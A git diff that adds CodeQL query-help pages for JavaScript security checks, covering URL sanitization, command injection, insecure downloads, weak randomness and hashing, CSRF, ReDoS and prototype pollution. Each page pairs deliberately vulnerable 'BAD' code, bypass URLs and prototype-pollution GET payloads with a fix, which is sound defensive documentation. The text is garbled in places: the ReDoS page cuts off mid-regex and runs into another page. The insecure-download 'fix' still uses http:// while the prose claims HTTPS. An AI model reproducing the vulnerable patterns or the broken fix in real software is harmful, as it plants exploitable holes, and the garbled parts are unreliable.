100644 index 00000000000..84a19be6603 --- /dev/null +++ b/docs/language/query-help/javascript/IncompleteUrlSubstringSanitization.md @@ -0,0 +1,75 @@ +# Incomplete URL substring sanitization + +``` +ID: js/incomplete-url-substring-sanitization +Kind: problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/IncompleteUrlSubstringSanitization.ql) + +Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Usually, this is done by checking that the host of a URL is in a set of allowed hosts. + +However, treating the URL as a string and checking if one of the allowed hosts is a substring of the URL is very prone to errors. Malicious URLs can bypass such security checks by embedding one of the allowed hosts in an unexpected location. + +Even if the substring check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when the check succeeds accidentally. + + +## Recommendation +Parse a URL before performing a check on its host value, and ensure that the check handles arbitrary subdomain sequences correctly. + + +## Example +The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site. + + +```javascript +app.get('/some/path', function(req, res) { + let url = req.param("url"); + // BAD: the host of `url` may be controlled by an attacker + if (url.includes("example.com")) { + res.redirect(url); + } +}); + +``` +The substring check is, however, easy to bypass. For example by embedding `example.com` in the path component: `http://evil-example.net/example.com`, or in the query string component: `http://evil-example.net/?x=example.com`. Address these shortcomings by checking the host of the parsed URL instead: + + +```javascript +app.get('/some/path', function(req, res) { + let url = req.param("url"), + host = urlLib.parse(url).host; + // BAD: the host of `url` may be controlled by an attacker + if (host.includes("example.com")) { + res.redirect(url); + } +}); + +``` +This is still not a sufficient check as the following URLs bypass it: `http://evil-example.com` `http://example.com.evil-example.net`. Instead, use an explicit whitelist of allowed hosts to make the redirect secure: + + +```javascript +app.get('/some/path', function(req, res) { + let url = req.param('url'), + host = urlLib.parse(url).host; + // GOOD: the host of `url` can not be controlled by an attacker + let allowedHosts = [ + 'example.com', + 'beta.example.com', + 'www.example.com' + ]; + if (allowedHosts.includes(host)) { + res.redirect(url); + } +}); + +``` + +## References +* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) +* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncorrectSuffixCheck.md b/docs/language/query-help/javascript/IncorrectSuffixCheck.md new file mode 100644 index 00000000000..862e555e760 --- /dev/null +++ b/docs/language/query-help/javascript/IncorrectSuffixCheck.md @@ -0,0 +1,48 @@ +# Incorrect suffix check + +``` +ID: js/incorrect-suffix-check +Kind: problem +Severity: error +Precision: high +Tags: security correctness external/cwe/cwe-020 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/IncorrectSuffixCheck.ql) + +The `indexOf` and `lastIndexOf` methods are sometimes used to check if a substring occurs at a certain position in a string. However, if the returned index is compared to an expression that might evaluate to -1, the check may pass in some cases where the substring was not found at all. + +Specifically, this can easily happen when implementing `endsWith` using `indexOf`. + + +## Recommendation +Use `String.prototype.endsWith` if it is available. Otherwise, explicitly handle the -1 case, either by checking the relative lengths of the strings, or by checking if the returned index is -1. + + +## Example +The following example uses `lastIndexOf` to determine if the string `x` ends with the string `y`: + + +```javascript +function endsWith(x, y) { + return x.lastIndexOf(y) === x.length - y.length; +} + +``` +However, if `y` is one character longer than `x`, the right-hand side `x.length - y.length` becomes -1, which then equals the return value of `lastIndexOf`. This will make the test pass, even though `x` does not end with `y`. + +To avoid this, explicitly check for the -1 case: + + +```javascript +function endsWith(x, y) { + let index = x.lastIndexOf(y); + return index !== -1 && index === x.length - y.length; +} + +``` + +## References +* MDN: [String.prototype.endsWith](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith) +* MDN: [String.prototype.indexOf](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf) +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IndirectCommandInjection.md b/docs/language/query-help/javascript/IndirectCommandInjection.md new file mode 100644 index 00000000000..7ecfca43a06 --- /dev/null +++ b/docs/language/query-help/javascript/IndirectCommandInjection.md @@ -0,0 +1,55 @@ +# Indirect uncontrolled command line + +``` +ID: js/indirect-command-line-injection +Kind: path-problem +Severity: warning +Precision: medium +Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-078/IndirectCommandInjection.ql) + +Forwarding command-line arguments to `child_process.exec` or some other library routine that executes a system command within a shell can change the meaning of the command unexpectedly due to unescaped special characters. + +When the forwarded command-line arguments come from a parent process that has not escaped the special characters in the arguments, then the parent process may indirectly be vulnerable to command-line injection since the special characters are evaluated unexpectedly. + + +## Recommendation +If possible, use hard-coded string literals to specify the command to run or library to load. Instead of forwarding the command-line arguments to the process, examine the command-line arguments and then choose among hard-coded string literals. + +If the applicable libraries or commands cannot be determined at compile time, then add code to verify that each forwarded command-line argument is properly escaped before using it. + +If the forwarded command-line arguments are part of the arguments of the system command, prefer a library routine that handles the arguments as an array of strings rather than a single concatenated string. This prevents the unexpected evaluation of special characters. + + +## Example +The following wrapper script example executes another JavaScript file in a child process and forwards some command-line arguments. This is problematic because the special characters in the command-line arguments may change the meaning of the child process invocation unexpectedly. For instance, if one of the command-line arguments is `"dollar$separated$name"`, then the child process will substitute the two environment variables `$separated` and `$name` before invoking `node`. + + +```javascript +var cp = require("child_process"); + +const args = process.argv.slice(2); +const script = path.join(__dirname, 'bin', 'main.js'); +cp.execSync(`node ${script} ${args.join(' ')}"`); // BAD + +``` +If another program uses `child_process.execFile` to invoke the above wrapper script with input from a remote user, then there may be a command-line injection vulnerability. This may be surprising, since a command-line invocation with `child_process.execFile` is generally considered safe. But in this case, the remote user input is simply forwarded to the problematic `process.exec` call in the wrapper script. + +To guard against this, use an API that does not perform environment variable substitution, such as `child_process.execFile`: + + +```javascript +var cp = require("child_process"); + +const args = process.argv.slice(2); +const script = path.join(__dirname, 'bin', 'main.js'); +cp.execFileSync('node', [script].concat(args)); // GOOD + +``` + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/InsecureDownload.md b/docs/language/query-help/javascript/InsecureDownload.md new file mode 100644 index 00000000000..b4a09c5c232 --- /dev/null +++ b/docs/language/query-help/javascript/InsecureDownload.md @@ -0,0 +1,48 @@ +# Download of sensitive file through insecure connection + +``` +ID: js/insecure-download +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-829 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-829/InsecureDownload.ql) + +Downloading executeables or other sensitive files over an unencrypted connection can leave a server open to man-in-the-middle attacks (MITM). Such an attack can allow an attacker to insert arbitrary content into the downloaded file, and in the worst case, allow the attacker to execute arbitrary code on the vulnerable system. + + +## Recommendation +Use a secure transfer protocol when downloading executables or other sensitive files. + + +## Example +In this example, a server downloads a shell script from a remote URL using the `node-fetch` library, and then executes this shell script. + + +```javascript +const fetch = require("node-fetch"); +const cp = require("child_process"); + +fetch('http://mydownload.example.org/myscript.sh') + .then(res => res.text()) + .then(script => cp.execSync(script)); +``` +The HTTP protocol is vulnerable to MITM, and thus an attacker could potentially replace the downloaded shell script with arbitrary code, which gives the attacker complete control over the system. + +The issue has been fixed in the example below by replacing the HTTP protocol with the HTTPS protocol. + + +```javascript +const fetch = require("node-fetch"); +const cp = require("child_process"); + +fetch('http://mydownload.example.org/myscript.sh') + .then(res => res.text()) + .then(script => cp.execSync(script)); +``` + +## References +* OWASP: [Man-in-the-middle attack](https://owasp.org/www-community/attacks/Man-in-the-middle_attack). +* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/InsecureRandomness.md b/docs/language/query-help/javascript/InsecureRandomness.md new file mode 100644 index 00000000000..81c79a5cfb9 --- /dev/null +++ b/docs/language/query-help/javascript/InsecureRandomness.md @@ -0,0 +1,58 @@ +# Insecure randomness + +``` +ID: js/insecure-randomness +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-338 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-338/InsecureRandomness.ql) + +Using a cryptographically weak pseudo-random number generator to generate a security-sensitive value, such as a password, makes it easier for an attacker to predict the value. + +Pseudo-random number generators generate a sequence of numbers that only approximates the properties of random numbers. The sequence is not truly random because it is completely determined by a relatively small set of initial values, the seed. If the random number generator is cryptographically weak, then this sequence may be easily predictable through outside observations. + + +## Recommendation +Use a cryptographically secure pseudo-random number generator if the output is to be used in a security-sensitive context. As a rule of thumb, a value should be considered "security-sensitive" if predicting it would allow the attacker to perform an action that they would otherwise be unable to perform. For example, if an attacker could predict the random password generated for a new user, they would be able to log in as that new user. + +For JavaScript on the NodeJS platform, `crypto.getRandomBytes` provides a cryptographically secure pseudo-random byte generator. Note that the conversion from bytes to numbers can introduce bias that breaks the security. + +For JavaScript in the browser, `RandomSource.getRandomValues` provides a cryptographically secure pseudo-random number generator. + + +## Example +The following examples show different ways of generating a password. + +In the first case, we generate a fresh password by appending a random integer to the end of a static string. The random number generator used (`Math.random`) is not cryptographically secure, so it may be possible for an attacker to predict the generated password. + + +```javascript +function insecurePassword() { + // BAD: the random suffix is not cryptographically secure + var suffix = Math.random(); + var password = "myPassword" + suffix; + return password; +} + +``` +In the second example, a cryptographically secure random number generator is used for the same purpose. In this case, it is much harder to predict the generated integers. + + +```javascript +function securePassword() { + // GOOD: the random suffix is cryptographically secure + var suffix = window.crypto.getRandomValues(new Uint32Array(1))[0]; + var password = "myPassword" + suffix; + return password; +} + +``` + +## References +* Wikipedia: [Pseudo-random number generator](http://en.wikipedia.org/wiki/Pseudorandom_number_generator). +* Mozilla Developer Network: [RandomSource.getRandomValues](https://developer.mozilla.org/en-US/docs/Web/API/RandomSource/getRandomValues). +* NodeJS: [crypto.randomBytes](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback) +* Common Weakness Enumeration: [CWE-338](https://cwe.mitre.org/data/definitions/338.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/InsecureUrlWhitelist.md b/docs/language/query-help/javascript/InsecureUrlWhitelist.md new file mode 100644 index 00000000000..c6b8ffedd3e --- /dev/null +++ b/docs/language/query-help/javascript/InsecureUrlWhitelist.md @@ -0,0 +1,49 @@ +# Insecure URL whitelist + +``` +ID: js/angular/insecure-url-whitelist +Kind: problem +Severity: warning +Precision: very-high +Tags: security frameworks/angularjs external/cwe/cwe-183 external/cwe/cwe-625 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/AngularJS/InsecureUrlWhitelist.ql) + +AngularJS uses filters to ensure that the URLs used for sourcing AngularJS templates and other script-running URLs are safe. One such filter is a whitelist of URL patterns to allow. + +A URL pattern that is too permissive can cause security vulnerabilities. + + +## Recommendation +Make the whitelist URL patterns as restrictive as possible. + + +## Example +The following example shows an AngularJS application with whitelist URL patterns that all are too permissive. + + +```javascript +angular.module('myApp', []) + .config(function($sceDelegateProvider) { + $sceDelegateProvider.resourceUrlWhitelist([ + "*://example.org/*", // BAD + "https://**.example.com/*", // BAD + "https://example.**", // BAD + "https://example.*" // BAD + ]); + }); + +``` +This is problematic, since the four patterns match the following malicious URLs, respectively: + +* `javascript://example.org/a%0A%0Dalert(1)` (`%0A%0D` is a linebreak) +* `https://evil.com/?ignore=://example.com/a` +* `https://example.evil.com` +* `https://example.evilTld` + +## References +* OWASP/Google presentation: [Securing AngularJS Applications](https://www.owasp.org/images/6/6e/Benelus_day_20161125_S_Lekies_Securing_AngularJS_Applications.pdf) +* AngularJS Developer Guide: [Format of items in resourceUrlWhitelist/Blacklist](https://docs.angularjs.org/api/ng/service/$sce#resourceUrlPatternItem). +* Common Weakness Enumeration: [CWE-183](https://cwe.mitre.org/data/definitions/183.html). +* Common Weakness Enumeration: [CWE-625](https://cwe.mitre.org/data/definitions/625.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/InsufficientPasswordHash.md b/docs/language/query-help/javascript/InsufficientPasswordHash.md new file mode 100644 index 00000000000..b59c08c0b5f --- /dev/null +++ b/docs/language/query-help/javascript/InsufficientPasswordHash.md @@ -0,0 +1,49 @@ +# Use of password hash with insufficient computational effort + +``` +ID: js/insufficient-password-hash +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-916 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-916/InsufficientPasswordHash.ql) + +Storing cryptographic hashes of passwords is standard security practice, but it is equally important to select the right hashing scheme. If an attacker obtains the hashed passwords of an application, the password hashing scheme should still prevent the attacker from easily obtaining the original cleartext passwords. + +A good password hashing scheme requires a computation that cannot be done efficiently. Standard hashing schemes, such as `md5` or `sha1`, are efficiently computable, and are therefore not suitable for password hashing. + + +## Recommendation +Use a secure password hashing scheme such as `bcrypt`, `scrypt`, `PBKDF2`, or `Argon2`. + + +## Example +In the example below, the `md5` algorithm computes the hash of a password. + + +```javascript +const crypto = require("crypto"); +function hashPassword(password) { + var hasher = crypto.createHash('md5'); + var hashed = hasher.update(password).digest("hex"); // BAD + return hashed; +} + +``` +This is not secure, since the password can be efficiently cracked by an attacker that obtains the hash. A more secure scheme is to hash the password with the `bcrypt` algorithm: + + +```javascript +const bcrypt = require("bcrypt"); +function hashPassword(password, salt) { + var hashed = bcrypt.hashSync(password, salt); // GOOD + return hashed; +} + +``` + +## References +* OWASP: [Password storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-916](https://cwe.mitre.org/data/definitions/916.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/LoopBoundInjection.md b/docs/language/query-help/javascript/LoopBoundInjection.md new file mode 100644 index 00000000000..1219ee965da --- /dev/null +++ b/docs/language/query-help/javascript/LoopBoundInjection.md @@ -0,0 +1,64 @@ +# Loop bound injection + +``` +ID: js/loop-bound-injection +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-834 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-834/LoopBoundInjection.ql) + +Using the `.length` property of an untrusted object as a loop bound may cause indefinite looping since a malicious attacker can set the `.length` property to a very large number. For example, when a program that expects an array is passed a JSON object such as `{length: 1e100}`, the loop will be run for 10100 iterations. This may cause the program to hang or run out of memory, which can be used to mount a denial-of-service (DoS) attack. + + +## Recommendation +Either check that the object is indeed an array or limit the size of the `.length` property. + + +## Example +In the example below, an HTTP request handler iterates over a user-controlled object `obj` using the `obj.length` property in order to copy the elements from `obj` to an array. + + +```javascript +var express = require('express'); +var app = express(); + +app.post("/foo", (req, res) => { + var obj = req.body; + + var ret = []; + + // Potential DoS if obj.length is large. + for (var i = 0; i < obj.length; i++) { + ret.push(obj[i]); + } +}); + +``` +This is not secure since an attacker can control the value of `obj.length`, and thereby cause the loop to iterate indefinitely. Here the potential DoS is fixed by enforcing that the user-controlled object is an array. + + +```javascript +var express = require('express'); +var app = express(); + +app.post("/foo", (req, res) => { + var obj = req.body; + + if (!(obj instanceof Array)) { // Prevents DoS. + return []; + } + + var ret = []; + + for (var i = 0; i < obj.length; i++) { + ret.push(obj[i]); + } +}); + +``` + +## References +* Common Weakness Enumeration: [CWE-834](https://cwe.mitre.org/data/definitions/834.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/MissingCsrfMiddleware.md b/docs/language/query-help/javascript/MissingCsrfMiddleware.md new file mode 100644 index 00000000000..9558e2efc3a --- /dev/null +++ b/docs/language/query-help/javascript/MissingCsrfMiddleware.md @@ -0,0 +1,63 @@ +# Missing CSRF middleware + +``` +ID: js/missing-token-validation +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-352 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-352/MissingCsrfMiddleware.ql) + +Websites that rely on cookie-based authentication may be vulnerable to cross-site request forgery (CSRF). Specifically, a state-changing request should include a secret token so the request can't be forged by an attacker. Otherwise, unwanted requests can be submitted on behalf of a user who visits a malicious website. + +This is typically mitigated by embedding a session-specific secret token in each request. This token is then checked as an additional authentication measure. A malicious website should have no way of guessing the correct token to embed in the request. + + +## Recommendation +Use a middleware package such as `csurf` to protect against CSRF attacks. + + +## Example +In the example below, the server authenticates users before performing the `changeEmail` POST action: + + +```javascript +var app = require("express")(), + cookieParser = require("cookie-parser"), + passport = require("passport"); + +app.use(cookieParser()); +app.use(passport.authorize({ session: true })); + +app.post("/changeEmail", function(req, res) { + let newEmail = req.cookies["newEmail"]; + // ... +}); + +``` +This is not secure. An attacker can submit a POST `changeEmail` request on behalf of a user who visited a malicious website. Since authentication happens without any action from the user, the `changeEmail` action would be executed, despite not being initiated by the user. + +This vulnerability can be mitigated by installing a CSRF protecting middleware handler: + + +```javascript +var app = require("express")(), + cookieParser = require("cookie-parser"), + passport = require("passport"), + csrf = require("csurf"); + +app.use(cookieParser()); +app.use(passport.authorize({ session: true })); +app.use(csrf({ cookie: true })); +app.post("/changeEmail", function(req, res) { + let newEmail = req.cookies["newEmail"]; + // ... +}); + +``` + +## References +* OWASP: [Cross-Site Request Forgery (CSRF)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)) +* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/MissingRateLimiting.md b/docs/language/query-help/javascript/MissingRateLimiting.md new file mode 100644 index 00000000000..437d56e8abb --- /dev/null +++ b/docs/language/query-help/javascript/MissingRateLimiting.md @@ -0,0 +1,66 @@ +# Missing rate limiting + +``` +ID: js/missing-rate-limiting +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-770 external/cwe/cwe-307 external/cwe/cwe-400 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-770/MissingRateLimiting.ql) + +HTTP request handlers should not perform expensive operations such as accessing the file system, executing an operating system command or interacting with a database without limiting the rate at which requests are accepted. Otherwise, the application becomes vulnerable to denial-of-service attacks where an attacker can cause the application to crash or become unresponsive by issuing a large number of requests at the same time. + + +## Recommendation +A rate-limiting middleware should be used to prevent such attacks. + + +## Example +The following example shows an Express application that serves static files without rate limiting: + + +```javascript +var express = require('express'); +var app = express(); + +app.get('/:path', function(req, res) { + let path = req.params.path; + if (isValidPath(path)) + res.sendFile(path); +}); + +``` +To prevent denial-of-service attacks, the `express-rate-limit` package can be used: + + +```javascript +var express = require('express'); +var app = express(); + +// set up rate limiter: maximum of five requests per minute +var RateLimit = require('express-rate-limit'); +var limiter = new RateLimit({ + windowMs: 1*60*1000, // 1 minute + max: 5 +}); + +// apply rate limiter to all requests +app.use(limiter); + +app.get('/:path', function(req, res) { + let path = req.params.path; + if (isValidPath(path)) + res.sendFile(path); +}); + +``` + +## References +* OWASP: [Denial of Service Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html). +* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack). +* NPM: [express-rate-limit](https://www.npmjs.com/package/express-rate-limit). +* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html). +* Common Weakness Enumeration: [CWE-307](https://cwe.mitre.org/data/definitions/307.html). +* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/MissingRegExpAnchor.md b/docs/language/query-help/javascript/MissingRegExpAnchor.md new file mode 100644 index 00000000000..a5db5c4a2d8 --- /dev/null +++ b/docs/language/query-help/javascript/MissingRegExpAnchor.md @@ -0,0 +1,56 @@ +# Missing regular expression anchor + +``` +ID: js/regex/missing-regexp-anchor +Kind: problem +Severity: warning +Precision: medium +Tags: correctness security external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/MissingRegExpAnchor.ql) + +Sanitizing untrusted input with regular expressions is a common technique. However, it is error-prone to match untrusted input against regular expressions without anchors such as `^` or `$`. Malicious input can bypass such security checks by embedding one of the allowed patterns in an unexpected location. + +Even if the matching is not done in a security-critical context, it may still cause undesirable behavior when the regular expression accidentally matches. + + +## Recommendation +Use anchors to ensure that regular expressions match at the expected locations. + + +## Example +The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site. + + +```javascript +app.get("/some/path", function(req, res) { + let url = req.param("url"); + // BAD: the host of `url` may be controlled by an attacker + if (url.match(/https?:\/\/www\.example\.com\//)) { + res.redirect(url); + } +}); + +``` +The check with the regular expression match is, however, easy to bypass. For example by embedding `http://example.com/` in the query string component: `http://evil-example.net/?x=http://example.com/`. Address these shortcomings by using anchors in the regular expression instead: + + +```javascript +app.get("/some/path", function(req, res) { + let url = req.param("url"); + // GOOD: the host of `url` can not be controlled by an attacker + if (url.match(/^https?:\/\/www\.example\.com\//)) { + res.redirect(url); + } +}); + +``` +A related mistake is to write a regular expression with multiple alternatives, but to only include an anchor for one of the alternatives. As an example, the regular expression `/^www\.example\.com|beta\.example\.com/` will match the host `evil.beta.example.com` because the regular expression is parsed as `/(^www\.example\.com)|(beta\.example\.com)/` + + +## References +* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions) +* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) +* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/PasswordInConfigurationFile.md b/docs/language/query-help/javascript/PasswordInConfigurationFile.md new file mode 100644 index 00000000000..24084ee2dac --- /dev/null +++ b/docs/language/query-help/javascript/PasswordInConfigurationFile.md @@ -0,0 +1,23 @@ +# Password in configuration file + +``` +ID: js/password-in-configuration-file +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-256 external/cwe/cwe-260 external/cwe/cwe-313 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-313/PasswordInConfigurationFile.ql) + +Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resources. Therefore it is a common attack vector. + + +## Recommendation +Passwords stored in configuration files should always be encrypted. + + +## References +* Common Weakness Enumeration: [CWE-256](https://cwe.mitre.org/data/definitions/256.html). +* Common Weakness Enumeration: [CWE-260](https://cwe.mitre.org/data/definitions/260.html). +* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/PolynomialReDoS.md b/docs/language/query-help/javascript/PolynomialReDoS.md new file mode 100644 index 00000000000..3f271fb736f --- /dev/null +++ b/docs/language/query-help/javascript/PolynomialReDoS.md @@ -0,0 +1,62 @@ +# Polynomial regular expression used on uncontrolled data + +``` +ID: js/polynomial-redos +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-730 external/cwe/cwe-400 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Performance/PolynomialReDoS.ql) + +Some regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *nk* or even *2n*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service ("DoS") attack by crafting an expensive input string for the regular expression to match. + +The regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower. + +Typically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references. + + +## Recommendation +Modify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter. + + +## Example +Consider this use of a regular expression, which removes all leading and trailing whitespace in a string: + +```javascript + + text.replace(/^\s+|\s+$/g, ''); // BAD + +``` +The sub-expression `"\s+$"` will match the whitespace characters in `text` from left to right, but it can start matching anywhere within a whitespace sequence. This is problematic for strings that do **not** end with a whitespace character. Such a string will force the regular expression engine to process each whitespace sequence once per whitespace character in the sequence. + +This ultimately means that the time cost of trimming a string is quadratic in the length of the string. So a string like `"a b"` will take milliseconds to process, but a similar string with a million spaces instead of just one will take several minutes. + +Avoid this problem by rewriting the regular expression to not contain the ambiguity about when to start matching whitespace sequences. For instance, by using a negative look-behind (`/^\s+|(? { + let prefs = lodash.merge({}, JSON.parse(req.query.prefs)); +}) + +``` +Prior to lodash 4.17.11 this would be vulnerable to prototype pollution. An attacker could send the following GET request: + +``` +GET /news?prefs={"constructor":{"prototype":{"xxx":true}}} +``` +This causes the `xxx` property to be injected on `Object.prototype`. Fix this by updating the lodash version: + + +```json +{ + "dependencies": { + "lodash": "^4.17.12" + } +} + +``` +Note that some web frameworks, such as Express, parse query parameters using extended URL-encoding by default. When this is the case, the application may be vulnerable even if not using `JSON.parse`. The example below would also be susceptible to prototype pollution: + + +```javascript +app.get('/news', (req, res) => { + let config = lodash.merge({}, { + prefs: req.query.prefs + }); +}) + +``` +In the above example, an attacker can cause prototype pollution by sending the following GET request: + +``` +GET /news?prefs[constructor][prototype][xxx]=true +``` + +## References +* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194). +* Express: [urlencoded()](https://expressjs.com/en/api.html#express.urlencoded) +* Common Weakness Enumeration: [CWE-250](https://cwe.mitre.org/data/definitions/250.html). +* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/PrototypePollutionUtility.md b/docs/language/query-help/javascript/PrototypePollutionUtility.md new file mode 100644 index 00000000000..853e7f8b85e --- /dev/null +++ b/docs/language/query-help/javascript/PrototypePollutionUtility.md @@ -0,0 +1,80 @@ +# Prototype pollution in utility function + +``` +ID: js/prototype-pollution-utility +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-400 external/cwe/cwe-471 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-400/PrototypePollutionUtility.ql) + +Most JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting. + +One way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from one object to another, or through the use of a *deep assignment* function to assign to an unverified chain of property names. Such a function has the potential to modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`. + + +## Recommendation +The most effective place to guard against this is in the function that performs the recursive copy or deep assignment. + +Only merge or assign a property recursively when it is an own property of the *destination* object. Alternatively, blacklist the property names `__proto__` and `constructor` from being merged or assigned to. + + +## Example +This function recursively copies properties from `src` to `dst`: + + +```javascript +function merge(dst, src) { + for (let key in src) { + if (!src.hasOwnProperty(key)) continue; + if (isObject(dst[key])) { + merge(dst[key], src[key]); + } else { + dst[key] = src[key]; + } + } +} + +``` +However, if `src` is the object `{"__proto__": {"isAdmin": true}}`, it will inject the property `isAdmin: true` in `Object.prototype`. + +The issue can be fixed by ensuring that only own properties of the destination object are merged recursively: + + +```javascript +function merge(dst, src) { + for (let key in src) { + if (!src.hasOwnProperty(key)) continue; + if (dst.hasOwnProperty(key) && isObject(dst[key])) { + merge(dst[key], src[key]); + } else { + dst[key] = src[key]; + } + } +} + +``` +Alternatively, blacklist the `__proto__` and `constructor` properties: + + +```javascript +function merge(dst, src) { + for (let key in src) { + if (!src.hasOwnProperty(key)) continue; + if (key === "__proto__" || key === "constructor") continue; + if (isObject(dst[key])) { + merge(dst[key], src[key]); + } else { + dst[key] = src[key]; + } + } +} + +``` + +## References +* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194). +* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). +* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ReDoS.md b/docs/language/query-help/javascript/ReDoS.md new file mode 100644 index 